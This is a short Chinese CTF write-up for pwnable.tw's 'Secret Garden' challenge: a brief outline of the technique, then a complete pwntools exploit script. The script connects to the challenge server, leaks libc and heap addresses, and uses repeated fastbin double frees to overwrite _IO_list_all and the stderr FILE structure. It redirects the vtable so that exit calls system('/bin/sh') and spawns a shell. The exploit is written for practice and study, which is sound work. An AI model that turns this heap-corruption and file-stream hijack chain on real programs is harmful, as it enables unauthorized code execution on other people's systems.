pwnbale.tw Secret Garden

思路

我是做了3次double free其实不需要这么多次em,其实可以构造堆块重叠的但是我看可以直接并且远程也很稳定就用double free了，先打malloc_hook打不同(好像可以使用realloc_hook调栈)我的思路是将stderr的flag值写成/bin/sh,虚表写成堆地址然后布置好system在exit函数调用fllush函数的时候触发overflow调用就会调用system("/bin/sh")，shell很稳定不错嘻嘻

from pwn import *
#p=process("./secretgarden")
p=remote('chall.pwnable.tw',10203)
elf=ELF("./secretgarden")
libc=elf.libc
libc=ELF("./libc.so.6")
def menu(idx):
	p.sendlineafter(": ",str(idx))

def add(size,name,colo):
	menu(1)
	p.sendlineafter(":",str(size))
	p.sendafter(":",name)
	p.sendlineafter(':',colo)

def show():
	menu(2)

def delete(idx):
	menu(3)
	p.sendlineafter(":",str(idx))

def clean():
	menu(4)

def ex():
	menu(5)
context.terminal=['tmux','splitw','-h']
add(0x98,'doudou',"doudou")
add(0x18,"emem","emem")
delete(0)
add(0x18,'\x78','\x01')
#gdb.attach(p,'b *$rebase(0x0000F1D)')
show()
libcbase=u64(p.recvuntil("\x7f")[-6:]+'\x00\x00')-libc.sym['__malloc_hook']-88-0x10
log.success("libcbase: "+hex(libcbase))
malloc_hook=libcbase+libc.sym['__malloc_hook']
one=libcbase+0x45226
system=libcbase+libc.sym['system']
add(0x68,"doudou",'dodou')#3
add(0x68,'doudou2','doudou')#4
delete(3)
delete(4)
delete(3)
IO_list_all=libcbase+libc.sym['_IO_list_all']
bin_sh=libcbase+libc.search("/bin/sh").next()
add(0x68,p64(IO_list_all-0x28+5),'dd')
add(0x68,'dd','dd')
add(0x68,'dd','dd')
payload='\x00'*19+p64(libcbase+libc.sym['_IO_2_1_stderr_'])+p64(0)*3+"/bin/sh\x00"+p64(0)*2+p64(0)*2+p64(0x71)+p64(0)
add(0x68,payload,"dd")
IO_stderr=libcbase+libc.sym['_IO_2_1_stderr_']
delete(3)
delete(4)
delete(3)
add(0x68,p64(IO_stderr+0x20),'dd')
add(0x68,'m','m')
add(0x68,'a','a')
payload='\x00'*0x40+p64(0)+p64(0x71)
add(0x68,payload,'c')
IO_str_jump=libcbase+0x3c37a0
#payload='\x00'*0x58+p64(heap)
delete(3)
delete(4)
show()
p.recvuntil("Name of the flower[10] :")
heap=u64(p.recv(6)+"\x00\x00")+0xc0
log.success("heap: "+hex(heap))
delete(3)
#libc=ELF("./libc.so.6")
add(0x68,p64(IO_stderr+0x70),'a')
add(0x68,p64(0)*3+p64(libcbase+libc.sym['system']),'b')
add(0x68,'c','c')
payload='\x00'*0x58+p64(heap-0x10)
add(0x68,payload,'b')
log.success("libcbase: "+hex(libcbase))
ex()
p.interactive()